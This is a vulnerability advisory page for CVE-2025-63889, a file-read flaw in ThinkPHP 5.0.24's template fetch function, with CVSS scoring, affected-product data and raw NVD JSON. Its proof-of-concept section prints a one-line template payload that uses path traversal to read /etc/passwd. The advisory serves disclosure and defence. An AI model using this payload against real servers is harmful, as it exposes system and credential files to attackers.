Security Vulnerability Report
中文
CVE-2025-63889 CVSS 7.5 HIGH

CVE-2025-63889

Published: 2025-11-20 18:15:51
Last Modified: 2025-11-25 15:41:13

Description

The fetch function in file thinkphp\library\think\Template.php in ThinkPHP 5.0.24 allows attackers to read arbitrary files via crafted file path in a template value.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:thinkphp:thinkphp:5.0.24:*:*:*:*:*:*:* - VULNERABLE
ThinkPHP 5.0.24

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
{include file='../../../../etc/passwd'}

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-63889", "sourceIdentifier": "[email protected]", "published": "2025-11-20T18:15:51.110", "lastModified": "2025-11-25T15:41:13.113", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The fetch function in file thinkphp\\library\\think\\Template.php in ThinkPHP 5.0.24 allows attackers to read arbitrary files via crafted file path in a template value."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:thinkphp:thinkphp:5.0.24:*:*:*:*:*:*:*", "matchCriteriaId": "A396FB8E-3328-435E-998E-70426F1F5FFA"}]}]}], "references": [{"url": "https://gist.github.com/Master-0-0/dd63209602f04267f1a27a75a064df26", "source": "[email protected]", "tags": ["Mitigation", "Third Party Advisory"]}, {"url": "https://www.yuque.com/lcc316/df0kgm/xqkrw5rfz5vqxo9t", "source": "[email protected]", "tags": ["Permissions Required"]}]}}